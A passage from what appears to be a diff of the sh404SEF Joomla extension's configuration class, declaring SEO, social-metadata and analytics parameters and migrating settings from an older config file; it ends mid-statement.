$canReadRemoteConfig = false; + public $stopCreatingShurls = false; + public $shurlBlackList = ''; + public $shurlNonSefBlackList = ''; + + // V 3.0.0 + public $includeContentCat = self::CAT_LAST; + public $includeContentCatCategories = self::CAT_2_LAST; + public $contentCategoriesSuffix = 'all'; + public $contentTitleIncludeCat = self::CAT_ALL_NESTED_CAT; + + public $useContactCatAlias = false; + public $contactCategoriesSuffix = 'all'; + public $includeContactCat = self::CAT_NONE; + public $includeContactCatCategories = self::CAT_LAST; + + public $useWeblinksCatAlias = false; + public $weblinksCategoriesSuffix = 'all'; + public $includeWeblinksCat = self::CAT_LAST; + public $includeWeblinksCatCategories = self::CAT_LAST; + public $liveSites = array(); + public $alternateTemplate = ''; + public $useJoomlaRouter = array(); + + // 3.1.2 + public $slugForUncategorizedContent = self::COM_SH404SEF_UNCATEGORIZED_EMPTY; + public $slugForUncategorizedContact = self::COM_SH404SEF_UNCATEGORIZED_EMPTY; + public $slugForUncategorizedWeblinks = self::COM_SH404SEF_UNCATEGORIZED_EMPTY; + + // 3.4 + public $enableMultiLingualSupport = true; + public $enableOpenGraphData = false; + public $ogEnableDescription = true; + public $ogType = 'article'; + public $ogImage = ''; + public $ogEnableSiteName = true; + public $ogSiteName = ''; + public $ogEnableLocation = false; + public $ogLatitude = ''; + public $ogLongitude = ''; + public $ogStreetAddress = ''; + public $ogLocality = ''; + public $ogPostalCode = ''; + public $ogRegion = ''; + public $ogCountryName = ''; + public $ogEnableContact = false; + public $ogEmail = ''; + public $ogPhoneNumber = ''; + public $ogFaxNumber = ''; + public $fbAdminIds = ''; + + public $socialButtonType = 'facebook'; + + public $insertPaginationTags = true; + + public $UrlCacheHandler = 'File'; // | Sharedmemory + public $displayUrlCacheStats = false; + + //3.6 + public $analyticsUserGroups = null; + + // 4.0 + public $removeOtherCanonicals = true; + + // 4.3 + public $analyticsEdition = 'none'; + public $analyticsUgaId = ''; + public $update_credentials_access = ''; + public $update_credentials_secret = ''; + public $analyticsGtmId = ''; + + public $enableTwitterCards = false; + public $twitterCardsSiteAccount = ''; + public $twitterCardsCreatorAccount = ''; + public $twitterCardsCategories = ''; + + public $enableGoogleAuthorship = false; + public $googleAuthorshipAuthorProfile = ''; + public $googleAuthorshipAuthorName = ''; + public $googleAuthorshipCategories = ''; + + // 4.4 + public $analyticsEnableAnonymization = 0; + public $enableGooglePublisher = false; + public $googlePublisherUrl = ''; + + // End of parameters + + /** + * Constructor of the configuration object + * Tries to read config from #__extensions table params. + * If found, builds an object that matches the object format used previously + * (pre- 3.8) so as to maintain b/c compat. + * If not found, search for a configuration file on disk, + * from pre-3.8 versions of sh404SEF + * If found, transfers data in new object and save to #__extensions table + * + * @param boolean $reset if true, params are read again from db + */ + public function __construct($reset = false) + { + $app = JFactory::getApplication(); + + // try to read from params column of com_sh404sef record in #__extensions table + $values = Sh404sefHelperGeneral::getComponentParams($reset)->toArray(); + if (isset($values['version'])) + { + unset($values['version']); + } + + // if values found, read them and build an object identical to the one + // we would have obtained from reading a config file, pre-3.8 version + if (!empty($values)) + { + //options names for components + $com_options = array('manageURL', 'translateURL', 'insertIsoCode', 'shDoNotOverrideOwnSef', 'compEnablePageId', 'defaultComponentString'); + + //if we have values that mean we have a json object and we can clear the values for the arrays that contain parameters related to components + $this->nocache = array(); + $this->skip = array(); + $this->useJoomlaRouter = array(); + $this->notTranslateURLList = array(); + $this->notInsertIsoCodeList = array(); + $this->shDoNotOverrideOwnSef = array(); + $this->useJoomsefRouter = array(); + $this->useAcesefRouter = array(); + $this->compEnablePageId = array(); + $this->shLangTranslateList = array(); + $this->shLangInsertCodeList = array(); + $this->defaultComponentStringList = array(); + + foreach ($values as $key => $value) + { + if (property_exists(__CLASS__, $key)) + { + $this->$key = $value; + } + elseif (substr_count($key, "___") && substr_count($key, "com_")) + { + $key_arr = explode("___", $key); + $com_str = $key_arr[0]; + $field = $key_arr[1]; + $com_name = substr($com_str, 4); + + switch ($field) + { + case 'manageURL': + switch ($value) + { + case 1: + $this->nocache[] = $com_name; + break; + case 2: + $this->skip[] = $com_name; + break; + case 3: + $this->useJoomlaRouter[] = $com_name; + break; + default: + break; + } + break; + + case 'translateURL': + if ($value == 1) + $this->notTranslateURLList[] = $com_name; + break; + case 'insertIsoCode': + if ($value == 1) + $this->notInsertIsoCodeList[] = $com_name; + break; + case 'shDoNotOverrideOwnSef': + switch ($value) + { + case 1: + $this->shDoNotOverrideOwnSef[] = $com_name; + break; + case 30: + $this->useJoomsefRouter[] = $com_name; + break; + case 40: + $this->useAcesefRouter[] = $com_name; + break; + default: + break; + } + break; + + case 'compEnablePageId': + if ($value == 1) + { + $this->compEnablePageId[] = $com_name; + } + break; + + case 'defaultComponentString': + $this->defaultComponentStringList[$com_name] = $value; + break; + } + } + elseif (substr_count($key, "languages_")) + { + $lang_array = explode("_", $key); + $lang = $lang_array[1]; + $lang_param = ($lang_array[2]); + switch ($lang_param) + { + case 'pageText': + $this->pageTexts[$lang] = $value; + break; + case 'translateURL': + $this->shLangTranslateList[$lang] = $value; + break; + case 'insertCode': + $this->shLangInsertCodeList[$lang] = $value; + break; + } + } + elseif ($value == 'mobile_switch_enabled' || $value == 'mobile_template') + { + + } + } + + // -->>Need to check here is this fields shoudl still be passed throug shInitLanguageList() method + $this->shLangTranslateList = $this->shInitLanguageList(empty($this->shLangTranslateList) ? null : $this->shLangTranslateList, 0, 0); + + $this->shLangInsertCodeList = $this->shInitLanguageList(empty($this->shLangInsertCodeList) ? null : $this->shLangInsertCodeList, 0, 0); + + $this->pageTexts = $this + ->shInitLanguageList(empty($this->pageTexts) ? null : $this->pageTexts, // V x + isset($pagetext) ? $pagetext : 'Page-%s', isset($pagetext) ? $pagetext : 'Page-%s'); // use value from prev versions if any + //--> + } + else + { + // no values found in params column of #__extensions table + // either configuration was never saved, and so we keep all the defaults + // or we're upgrading to the new DB-based configuration system + // from a confgi file based version. Check if we can find a config file + // and read it if so + $sefConfigFile = sh404SEF_ADMIN_ABS_PATH . 'config/config.sef.php'; + + if (shFileExists($sefConfigFile)) + { + include($sefConfigFile); + + // shumisha : 2007-04-01 new parameters ! + if (isset($shUseURLCache)) + $this->shUseURLCache = $shUseURLCache; + // shumisha : 2007-04-01 new parameters ! + if (isset($shMaxURLInCache)) + $this->shMaxURLInCache = $shMaxURLInCache; + // shumisha : 2007-04-01 new parameters ! + if (isset($shTranslateURL)) + $this->shTranslateURL = $shTranslateURL; + //V 1.2.4.m + if (isset($shInsertLanguageCode)) + $this->shInsertLanguageCode = $shInsertLanguageCode; + if (isset($notTranslateURLList)) + $this->notTranslateURLList = $notTranslateURLList; + if (isset($notInsertIsoCodeList)) + $this->notInsertIsoCodeList = $notInsertIsoCodeList; + + // shumisha : 2007-04-03 new parameters ! + if (isset($shInsertGlobalItemidIfNone)) + $this->shInsertGlobalItemidIfNone = $shInsertGlobalItemidIfNone; + if (isset($shInsertTitleIfNoItemid)) + $this->shInsertTitleIfNoItemid = $shInsertTitleIfNoItemid; + if (isset($shAlwaysInsertMenuTitle)) + $this->shAlwaysInsertMenuTitle = $shAlwaysInsertMenuTitle; + if (isset($shAlwaysInsertItemid)) + $this->shAlwaysInsertItemid = $shAlwaysInsertItemid; + if (isset($shDefaultMenuItemName)) + $this->shDefaultMenuItemName = $shDefaultMenuItemName; + if (isset($shAppendRemainingGETVars)) + $this->shAppendRemainingGETVars = $shAppendRemainingGETVars; + if (isset($shVmInsertShopName)) + $this->shVmInsertShopName = $shVmInsertShopName; + + if (isset($shInsertProductId)) + $this->shInsertProductId = $shInsertProductId; + if (isset($shVmUseProductSKU)) + $this->shVmUseProductSKU = $shVmUseProductSKU; + if (isset($shVmInsertManufacturerName)) + $this->shVmInsertManufacturerName = $shVmInsertManufacturerName; + if (isset($shInsertManufacturerId)) + $this->shInsertManufacturerId = $shInsertManufacturerId; + if (isset($shVMInsertCategories)) + $this->shVMInsertCategories = $shVMInsertCategories; + if (isset($shVmAdditionalText)) + $this->shVmAdditionalText = $shVmAdditionalText; + if (isset($shVmInsertFlypage)) + $this->shVmInsertFlypage = $shVmInsertFlypage; + + if (isset($shInsertCategoryId)) + $this->shInsertCategoryId = $shInsertCategoryId; + if (isset($shReplacements)) + $this->shReplacements = $shReplacements; + + if (isset($shInsertNumericalId)) + $this->shInsertNumericalId = $shInsertNumericalId; + if (isset($shInsertNumericalIdCatList)) + $this->shInsertNumericalIdCatList = $shInsertNumericalIdCatList; + + if (isset($shRedirectNonSefToSef)) + $this->shRedirectNonSefToSef = $shRedirectNonSefToSef; + // disabled, can't be implemented safely + //if (isset($shRedirectJoomlaSefToSef)) $this->shRedirectJoomlaSefToSef = $shRedirectJoomlaSefToSef; + if (isset($shConfig_live_secure_site)) + $this->shConfig_live_secure_site = JString::rtrim($shConfig_live_secure_site, '/'); + + if (isset($shActivateIJoomlaMagInContent)) + $this->shActivateIJoomlaMagInContent = $shActivateIJoomlaMagInContent; + if (isset($shInsertIJoomlaMagIssueId)) + $this->shInsertIJoomlaMagIssueId = $shInsertIJoomlaMagIssueId; + if (isset($shInsertIJoomlaMagName)) + $this->shInsertIJoomlaMagName = $shInsertIJoomlaMagName; + if (isset($shInsertIJoomlaMagMagazineId)) + $this->shInsertIJoomlaMagMagazineId = $shInsertIJoomlaMagMagazineId; + if (isset($shInsertIJoomlaMagArticleId)) + $this->shInsertIJoomlaMagArticleId = $shInsertIJoomlaMagArticleId; + + if (isset($shInsertCBName)) + $this->shInsertCBName = $shInsertCBName; + if (isset($shCBInsertUserName)) + $this->shCBInsertUserName = $shCBInsertUserName; + if (isset($shCBInsertUserId)) + $this->shCBInsertUserId = $shCBInsertUserId; + if (isset($shCBUseUserPseudo)) + $this->shCBUseUserPseudo = $shCBUseUserPseudo; + + if (isset($shInsertMyBlogName)) + $this->shInsertMyBlogName = $shInsertMyBlogName; + if (isset($shMyBlogInsertPostId)) + $this->shMyBlogInsertPostId = $shMyBlogInsertPostId; + if (isset($shMyBlogInsertTagId)) + $this->shMyBlogInsertTagId = $shMyBlogInsertTagId; + if (isset($shMyBlogInsertBloggerId)) + $this->shMyBlogInsertBloggerId = $shMyBlogInsertBloggerId; + + if (isset($shInsertDocmanName)) + $this->shInsertDocmanName = $shInsertDocmanName; + if (isset($shDocmanInsertDocId)) + $this->shDocmanInsertDocId = $shDocmanInsertDocId; + if (isset($shDocmanInsertDocName)) + $this->shDocmanInsertDocName = $shDocmanInsertDocName; + + if (isset($shLog404Errors)) + $this->shLog404Errors = $shLog404Errors; + + if (isset($shLMDefaultItemid)) + $this->shLMDefaultItemid = $shLMDefaultItemid; + + if (isset($shInsertFireboardName)) + $this->shInsertFireboardName = $shInsertFireboardName; + if (isset($shFbInsertCategoryName)) + $this->shFbInsertCategoryName = $shFbInsertCategoryName; + if (isset($shFbInsertCategoryId)) + $this->shFbInsertCategoryId = $shFbInsertCategoryId; + if (isset($shFbInsertMessageSubject)) + $this->shFbInsertMessageSubject = $shFbInsertMessageSubject; + if (isset($shFbInsertMessageId)) + $this->shFbInsertMessageId = $shFbInsertMessageId; + + if (isset($shDoNotOverrideOwnSef)) // V 1.2.4.m + $this->shDoNotOverrideOwnSef = $shDoNotOverrideOwnSef; + + if (isset($shEncodeUrl)) // V 1.2.4.m + $this->shEncodeUrl = $shEncodeUrl; + + if (isset($guessItemidOnHomepage)) // V 1.2.4.q + $this->guessItemidOnHomepage = $guessItemidOnHomepage; + + if (isset($shForceNonSefIfHttps)) // V 1.2.4.q + $this->shForceNonSefIfHttps = $shForceNonSefIfHttps; + + if (isset($shRewriteMode)) // V 1.2.4.s + $this->shRewriteMode = $shRewriteMode; + if (isset($shRewriteStrings)) // V 1.2.4.s + $this->shRewriteStrings = $shRewriteStrings; + + if (isset($shMetaManagementActivated)) // V 1.2.4.s + $this->shMetaManagementActivated = $shMetaManagementActivated; + if (isset($shRemoveGeneratorTag)) // V 1.2.4.s + $this->shRemoveGeneratorTag = $shRemoveGeneratorTag; + if (isset($shPutH1Tags)) // V 1.2.4.s + $this->shPutH1Tags = $shPutH1Tags; + if (isset($shInsertContentTableName)) // V 1.2.4.s + $this->shInsertContentTableName = $shInsertContentTableName; + if (isset($shContentTableName)) // V 1.2.4.s + $this->shContentTableName = $shContentTableName; + if (isset($shAutoRedirectWww)) // V 1.2.4.s + $this->shAutoRedirectWww = $shAutoRedirectWww; + if (isset($shVmInsertProductName)) // V 1.2.4.s + $this->shVmInsertProductName = $shVmInsertProductName; + + if (isset($shDMInsertCategories)) // V 1.2.4.t + $this->shDMInsertCategories = $shDMInsertCategories; + if (isset($shDMInsertCategoryId)) // V 1.2.4.t + $this->shDMInsertCategoryId = $shDMInsertCategoryId; + + if (isset($shForcedHomePage)) // V 1.2.4.t + $this->shForcedHomePage = $shForcedHomePage; + if (isset($shInsertContentBlogName)) // V 1.2.4.t + $this->shInsertContentBlogName = $shInsertContentBlogName; + if (isset($shContentBlogName)) // V 1.2.4.t + $this->shContentBlogName = $shContentBlogName; + + if (isset($shInsertMTreeName)) // V 1.2.4.t + $this->shInsertMTreeName = $shInsertMTreeName; + if (isset($shMTreeInsertListingName)) // V 1.2.4.t + $this->shMTreeInsertListingName = $shMTreeInsertListingName; + if (isset($shMTreeInsertListingId)) // V 1.2.4.t + $this->shMTreeInsertListingId = $shMTreeInsertListingId; + if (isset($shMTreePrependListingId)) // V 1.2.4.t + $this->shMTreePrependListingId = $shMTreePrependListingId; + if (isset($shMTreeInsertCategories)) // V 1.2.4.t + $this->shMTreeInsertCategories = $shMTreeInsertCategories; + if (isset($shMTreeInsertCategoryId)) // V 1.2.4.t + $this->shMTreeInsertCategoryId = $shMTreeInsertCategoryId; + if (isset($shMTreeInsertUserName)) // V 1.2.4.t + $this->shMTreeInsertUserName = $shMTreeInsertUserName; + if (isset($shMTreeInsertUserId)) // V 1.2.4.t + $this->shMTreeInsertUserId = $shMTreeInsertUserId; + + if (isset($shInsertNewsPName)) // V 1.2.4.t + $this->shInsertNewsPName = $shInsertNewsPName; + if (isset($shNewsPInsertCatId)) // V 1.2.4.t + $this->shNewsPInsertCatId = $shNewsPInsertCatId; + if (isset($shNewsPInsertSecId)) // V 1.2.4.t + $this->shNewsPInsertSecId = $shNewsPInsertSecId; + + if (isset($shInsertRemoName)) // V 1.2.4.t + $this->shInsertRemoName = $shInsertRemoName; + if (isset($shRemoInsertDocId)) // V 1.2.4.t + $this->shRemoInsertDocId = $shRemoInsertDocId; + if (isset($shRemoInsertDocName)) // V 1.2.4.t + $this->shRemoInsertDocName = $shRemoInsertDocName; + if (isset($shRemoInsertCategories)) // V 1.2.4.t + $this->shRemoInsertCategories = $shRemoInsertCategories; + if (isset($shRemoInsertCategoryId)) // V 1.2.4.t + $this->shRemoInsertCategoryId = $shRemoInsertCategoryId; + + if (isset($shCBShortUserURL)) // V 1.2.4.t + $this->shCBShortUserURL = $shCBShortUserURL; + + if (isset($shKeepStandardURLOnUpgrade)) // V 1.2.4.t + $this->shKeepStandardURLOnUpgrade = $shKeepStandardURLOnUpgrade; + if (isset($shKeepCustomURLOnUpgrade)) // V 1.2.4.t + $this->shKeepCustomURLOnUpgrade = $shKeepCustomURLOnUpgrade; + if (isset($shKeepMetaDataOnUpgrade)) // V 1.2.4.t + $this->shKeepMetaDataOnUpgrade = $shKeepMetaDataOnUpgrade; + if (isset($shKeepModulesSettingsOnUpgrade)) // V 1.2.4.t + $this->shKeepModulesSettingsOnUpgrade = $shKeepModulesSettingsOnUpgrade; + + if (isset($shMultipagesTitle)) // V 1.2.4.t + $this->shMultipagesTitle = $shMultipagesTitle; + + // shumisha end of new parameters + if (isset($Enabled)) + $this->Enabled = $Enabled; + if (isset($replacement)) + $this->replacement = $replacement; + if (isset($pagerep)) + $this->pagerep = $pagerep; + if (isset($stripthese)) + $this->stripthese = $stripthese; + if (isset($friendlytrim)) + $this->friendlytrim = $friendlytrim; + if (isset($suffix)) + $this->suffix = $suffix; + if (isset($addFile)) + $this->addFile = $addFile; + if (isset($LowerCase)) + $this->LowerCase = $LowerCase; + if (isset($HideCat)) + $this->HideCat = $HideCat; + if (isset($replacement)) + $this->UseAlias = $UseAlias; + if (isset($UseAlias)) + $this->page404 = $page404; + if (isset($predefined)) + $this->predefined = $predefined; + if (isset($skip)) + $this->skip = $skip; + if (isset($nocache)) + $this->nocache = $nocache; + + // V x + if (isset($shKeepConfigOnUpgrade)) // V 1.2.4.x + $this->shKeepConfigOnUpgrade = $shKeepConfigOnUpgrade; + if (isset($shSecEnableSecurity)) // V 1.2.4.x + $this->shSecEnableSecurity = $shSecEnableSecurity; + if (isset($shSecLogAttacks)) // V 1.2.4.x + $this->shSecLogAttacks = $shSecLogAttacks; + if (isset($shSecOnlyNumVars)) // V 1.2.4.x + $this->shSecOnlyNumVars = $shSecOnlyNumVars; + if (isset($shSecAlphaNumVars)) // V 1.2.4.x + $this->shSecAlphaNumVars = $shSecAlphaNumVars; + if (isset($shSecNoProtocolVars)) // V 1.2.4.x + $this->shSecNoProtocolVars = $shSecNoProtocolVars; + $this->ipWhiteList = shReadFile(sh404SEF_ADMIN_ABS_PATH . 'security/sh404SEF_IP_white_list.dat'); + $this->ipBlackList = shReadFile(sh404SEF_ADMIN_ABS_PATH . 'security/sh404SEF_IP_black_list.dat'); + $this->uAgentWhiteList = shReadFile(sh404SEF_ADMIN_ABS_PATH . 'security/sh404SEF_uAgent_white_list.dat'); + $this->uAgentBlackList = shReadFile(sh404SEF_ADMIN_ABS_PATH . 'security/sh404SEF_uAgent_black_list.dat'); + + if (isset($shSecCheckHoneyPot)) // V 1.2.4.x + $this->shSecCheckHoneyPot = $shSecCheckHoneyPot; + if (isset($shSecDebugHoneyPot)) // V 1.2.4.x + $this->shSecDebugHoneyPot = $shSecDebugHoneyPot; + if (isset($shSecHoneyPotKey)) // V 1.2.4.x + $this->shSecHoneyPotKey = $shSecHoneyPotKey; + if (isset($shSecEntranceText)) // V 1.2.4.x + $this->shSecEntranceText = $shSecEntranceText; + if (isset($shSecSmellyPotText)) // V 1.2.4.x + $this->shSecSmellyPotText = $shSecSmellyPotText; + if (isset($monthsToKeepLogs)) // V 1.2.4.x + $this->monthsToKeepLogs = $monthsToKeepLogs; + if (isset($shSecActivateAntiFlood)) // V 1.2.4.x + $this->shSecActivateAntiFlood = $shSecActivateAntiFlood; + if (isset($shSecAntiFloodOnlyOnPOST)) // V 1.2.4.x + $this->shSecAntiFloodOnlyOnPOST = $shSecAntiFloodOnlyOnPOST; + if (isset($shSecAntiFloodPeriod)) // V 1.2.4.x + $this->shSecAntiFloodPeriod = $shSecAntiFloodPeriod; + if (isset($shSecAntiFloodCount)) // V 1.2.4.x + $this->shSecAntiFloodCount = $shSecAntiFloodCount; + // if (isset($insertSectionInBlogTableLinks)) // V 1.2.4.x + // $this->insertSectionInBlogTableLinks = $insertSectionInBlogTableLinks; + + $this->shLangTranslateList = $this->shInitLanguageList(isset($shLangTranslateList) ? $shLangTranslateList : null, 0, 0); + $this->shLangInsertCodeList = $this->shInitLanguageList(isset($shLangInsertCodeList) ? $shLangInsertCodeList : null, 0, 0); + + if (isset($defaultComponentStringList)) // V 1.2.4.x + $this->defaultComponentStringList = $defaultComponentStringList; + + $this->pageTexts = $this + ->shInitLanguageList(isset($pageTexts) ? $pageTexts : null, // V x + isset($pagetext) ? $pagetext : 'Page-%s', isset($pagetext) ? $pagetext : 'Page-%s'); // use value from prev versions if any + + if (isset($shAdminInterfaceType)) // V 1.2.4.x + $this->shAdminInterfaceType = $shAdminInterfaceType; + + // compatibility with version earlier than V x + if (isset($shShopName)) // V 1.2.4.x + $this->defaultComponentStringList['virtuemart'] = $shShopName; + if (isset($shIJoomlaMagName))// V 1.2.4.x + $this->defaultComponentStringList['magazine'] = $shIJoomlaMagName; + if (isset($shCBName))// V 1.2.4.x + $this->defaultComponentStringList['comprofiler'] = $shCBName; + if (isset($shFireboardName))// V 1.2.4.x + $this->defaultComponentStringList['fireboard'] = $shFireboardName; + if (isset($shMyBlogName))// V 1.2.4.x + $this->defaultComponentStringList['myblog'] = $shMyBlogName; + if (isset($shDocmanName))// V 1.2.4.x + $this->defaultComponentStringList['docman'] = $shDocmanName; + if (isset($shMTreeName))// V 1.2.4.x + $this->defaultComponentStringList['mtree'] = $shMTreeName; + if (isset($shNewsPName))// V 1.2.4.x + $this->defaultComponentStringList['news_portal'] = $shNewsPName; + if (isset($shRemoName))// V 1.2.4.x + $this->defaultComponentStringList['remository'] = $shRemoName; + // end of compatibility code + + // V 1.3 RC + if (isset($shInsertNoFollowPDFPrint)) + $this->shInsertNoFollowPDFPrint = $shInsertNoFollowPDFPrint; + if (isset($shInsertReadMorePageTitle)) + $this->shInsertReadMorePageTitle = $shInsertReadMorePageTitle; + if (isset($shMultipleH1ToH2)) + $this->shMultipleH1ToH2 = $shMultipleH1ToH2; + + // V 1.3.1 RC + if (isset($shVmUsingItemsPerPage)) + $this->shVmUsingItemsPerPage = $shVmUsingItemsPerPage; + if (isset($shSecCheckPOSTData)) + $this->shSecCheckPOSTData = $shSecCheckPOSTData; + if (isset($shSecCurMonth)) + $this->shSecCurMonth = $shSecCurMonth; + if (isset($shSecLastUpdated)) + $this->shSecLastUpdated = $shSecLastUpdated; + if (isset($shSecTotalAttacks)) + $this->shSecTotalAttacks = $shSecTotalAttacks; + if (isset($shSecTotalConfigVars)) + $this->shSecTotalConfigVars = $shSecTotalConfigVars; + if (isset($shSecTotalBase64)) + $this->shSecTotalBase64 = $shSecTotalBase64; + if (isset($shSecTotalScripts)) + $this->shSecTotalScripts = $shSecTotalScripts; + if (isset($shSecTotalStandardVars)) + $this->shSecTotalStandardVars = $shSecTotalStandardVars; + if (isset($shSecTotalImgTxtCmd)) + $this->shSecTotalImgTxtCmd = $shSecTotalImgTxtCmd; + if (isset($shSecTotalIPDenied)) + $this->shSecTotalIPDenied = $shSecTotalIPDenied; + if (isset($shSecTotalUserAgentDenied)) + $this->shSecTotalUserAgentDenied = $shSecTotalUserAgentDenied; + if (isset($shSecTotalFlooding)) + $this->shSecTotalFlooding = $shSecTotalFlooding; + if (isset($shSecTotalPHP)) + $this->shSecTotalPHP = $shSecTotalPHP; + if (isset($shSecTotalPHPUserClicked)) + $this->shSecTotalPHPUserClicked = $shSecTotalPHPUserClicked; + + if (isset($prependToPageTitle)) + $this->prependToPageTitle = $prependToPageTitle; + if (isset($appendToPageTitle)) + $this->appendToPageTitle = $appendToPageTitle; + + // if (isset($debugToLogFile)) + // $this->debugToLogFile = $debugToLogFile; + if (isset($debugStartedAt)) + $this->debugStartedAt = $debugStartedAt; + if (isset($debugDuration)) + $this->debugDuration = $debugDuration; + + // V 1.3.1 + if (isset($shInsertOutboundLinksImage)) + $this->shInsertOutboundLinksImage = $shInsertOutboundLinksImage; + if (isset($shImageForOutboundLinks)) + $this->shImageForOutboundLinks = $shImageForOutboundLinks; + + // V 1.0.12 + if (isset($useCatAlias)) + $this->useCatAlias = $useCatAlias; + if (isset($useMenuAlias)) + $this->useMenuAlias = $useMenuAlias; + + // V 1.5.3 + if (isset($alwaysAppendItemsPerPage)) + $this->alwaysAppendItemsPerPage = $alwaysAppendItemsPerPage; + if (isset($redirectToCorrectCaseUrl)) + $this->redirectToCorrectCaseUrl = $redirectToCorrectCaseUrl; + + // V 1.5.5 + if (isset($jclInsertEventId)) + $this->jclInsertEventId = $jclInsertEventId; + if (isset($jclInsertCategoryId)) + $this->jclInsertCategoryId = $jclInsertCategoryId; + if (isset($jclInsertCalendarId)) + $this->jclInsertCalendarId = $jclInsertCalendarId; + if (isset($jclInsertCalendarName)) + $this->jclInsertCalendarName = $jclInsertCalendarName; + if (isset($jclInsertDate)) + $this->jclInsertDate = $jclInsertDate; + if (isset($jclInsertDateInEventView)) + $this->jclInsertDateInEventView = $jclInsertDateInEventView; + + if (isset($ContentTitleShowCat)) + $this->ContentTitleShowCat = $ContentTitleShowCat; + if (isset($ContentTitleUseAlias)) + $this->ContentTitleUseAlias = $ContentTitleUseAlias; + if (isset($ContentTitleUseCatAlias)) + $this->ContentTitleUseCatAlias = $ContentTitleUseCatAlias; + if (isset($pageTitleSeparator)) + $this->pageTitleSeparator = $pageTitleSeparator; + + if (isset($ContentTitleInsertArticleId)) + $this->ContentTitleInsertArticleId = $ContentTitleInsertArticleId; + if (isset($shInsertContentArticleIdCatList)) + $this->shInsertContentArticleIdCatList = $shInsertContentArticleIdCatList; + + // 1.5.8 + if (isset($shJSInsertJSName)) + $this->shJSInsertJSName = $shJSInsertJSName; + if (isset($shJSShortURLToUserProfile)) + $this->shJSShortURLToUserProfile = $shJSShortURLToUserProfile; + if (isset($shJSInsertUsername)) + $this->shJSInsertUsername = $shJSInsertUsername; + if (isset($shJSInsertUserFullName)) + $this->shJSInsertUserFullName = $shJSInsertUserFullName; + if (isset($shJSInsertUserId)) + $this->shJSInsertUserId = $shJSInsertUserId; + if (isset($shJSInsertUserFullName)) + $this->shJSInsertUserFullName = $shJSInsertUserFullName; + if (isset($shJSInsertGroupCategory)) + $this->shJSInsertGroupCategory = $shJSInsertGroupCategory; + if (isset($shJSInsertGroupCategoryId)) + $this->shJSInsertGroupCategoryId = $shJSInsertGroupCategoryId; + if (isset($shJSInsertGroupId)) + $this->shJSInsertGroupId = $shJSInsertGroupId; + if (isset($shJSInsertGroupBulletinId)) + $this->shJSInsertGroupBulletinId = $shJSInsertGroupBulletinId; + if (isset($shJSInsertDiscussionId)) + $this->shJSInsertDiscussionId = $shJSInsertDiscussionId; + if (isset($shJSInsertMessageId)) + $this->shJSInsertMessageId = $shJSInsertMessageId; + if (isset($shJSInsertPhotoAlbum)) + $this->shJSInsertPhotoAlbum = $shJSInsertPhotoAlbum; + if (isset($shJSInsertPhotoAlbumId)) + $this->shJSInsertPhotoAlbumId = $shJSInsertPhotoAlbumId; + if (isset($shJSInsertPhotoId)) + $this->shJSInsertPhotoId = $shJSInsertPhotoId; + if (isset($shJSInsertVideoCat)) + $this->shJSInsertVideoCat = $shJSInsertVideoCat; + if (isset($shJSInsertVideoCatId)) + $this->shJSInsertVideoCatId = $shJSInsertVideoCatId; + if (isset($shJSInsertVideoId)) + $this->shJSInsertVideoId = $shJSInsertVideoId; + + if (isset($shFbInsertUserName)) + $this->shFbInsertUserName = $shFbInsertUserName; + if (isset($shFbInsertUserId)) + $this->shFbInsertUserId = $shFbInsertUserId; + if (isset($shFbShortUrlToProfile)) + $this->shFbShortUrlToProfile = $shFbShortUrlToProfile; + + if (isset($shPageNotFoundItemid)) + $this->shPageNotFoundItemid = $shPageNotFoundItemid; + + if (isset($autoCheckNewVersion)) + $this->autoCheckNewVersion = $autoCheckNewVersion; + + if (isset($error404SubTemplate)) + $this->error404SubTemplate = $error404SubTemplate; + + if (isset($enablePageId)) + $this->enablePageId = $enablePageId; + if (isset($compEnablePageId)) + $this->compEnablePageId = $compEnablePageId; + // V 2.1.0 + if (isset($analyticsEnabled)) + $this->analyticsEnabled = $analyticsEnabled; + if (isset($analyticsReportsEnabled)) + $this->analyticsReportsEnabled = $analyticsReportsEnabled; + if (isset($analyticsType)) + $this->analyticsType = $analyticsType; + if (isset($analyticsId)) + $this->analyticsId = $analyticsId; + if (isset($analyticsUser)) + $this->analyticsUser = $analyticsUser; + if (isset($analyticsPassword)) + $this->analyticsPassword = $analyticsPassword; + if (isset($analyticsAccount)) + $this->analyticsAccount = $analyticsAccount; + if (isset($analyticsExcludeIP)) + $this->analyticsExcludeIP = $analyticsExcludeIP; + if (isset($analyticsMaxUserLevel)) + $this->analyticsMaxUserLevel = $analyticsMaxUserLevel; + if (isset($analyticsProfile)) + $this->analyticsProfile = $analyticsProfile; + if (isset($autoCheckNewAnalytics)) + $this->autoCheckNewAnalytics = $autoCheckNewAnalytics; + if (isset($analyticsDashboardDateRange)) + $this->analyticsDashboardDateRange = $analyticsDashboardDateRange; + if (isset($analyticsEnableTimeCollection)) + $this->analyticsEnableTimeCollection = $analyticsEnableTimeCollection; + if (isset($analyticsEnableUserCollection)) + $this->analyticsEnableUserCollection = $analyticsEnableUserCollection; + + if (isset($analyticsDashboardDataType)) + $this->analyticsDashboardDataType = $analyticsDashboardDataType; + + if (isset($slowServer)) + $this->slowServer = $slowServer; + + // V 2.1.10 + if (isset($useJoomsefRouter)) + $this->useJoomsefRouter = $useJoomsefRouter; + if (isset($useAcesefRouter)) + $this->useAcesefRouter = $useAcesefRouter; + + // V 2.1.11 + if (isset($insertShortlinkTag)) + $this->insertShortlinkTag = $insertShortlinkTag; + if (isset($insertRevCanTag)) + $this->insertRevCanTag = $insertRevCanTag; + if (isset($insertAltShorterTag)) + $this->insertAltShorterTag = $insertAltShorterTag; + if (isset($canReadRemoteConfig)) + $this->canReadRemoteConfig = $canReadRemoteConfig; + if (isset($stopCreatingShurls)) + $this->stopCreatingShurls = $stopCreatingShurls; + if (isset($shurlBlackList)) + $this->shurlBlackList = $shurlBlackList; + if (isset($shurlNonSefBlackList)) + $this->shurlNonSefBlackList = $shurlNonSefBlackList; + + // V 3.0.0 + if (isset($includeContentCat)) + $this->includeContentCat = $includeContentCat; + if (isset($includeContentCatCategories)) + $this->includeContentCatCategories = $includeContentCatCategories; + if (isset($contentCategoriesSuffix)) + $this->contentCategoriesSuffix = $contentCategoriesSuffix; + if (isset($contentTitleIncludeCat)) + $this->contentTitleIncludeCat = $contentTitleIncludeCat; + + if (isset($useContactCatAlias)) + $this->useContactCatAlias = $useContactCatAlias; + if (isset($contactCategoriesSuffix)) + $this->contactCategoriesSuffix = $contactCategoriesSuffix; + if (isset($includeContactCat)) + $this->includeContactCat = $includeContactCat; + if (isset($includeContactCatCategories)) + $this->includeContactCatCategories = $includeContactCatCategories; + + if (isset($useWeblinksCatAlias)) + 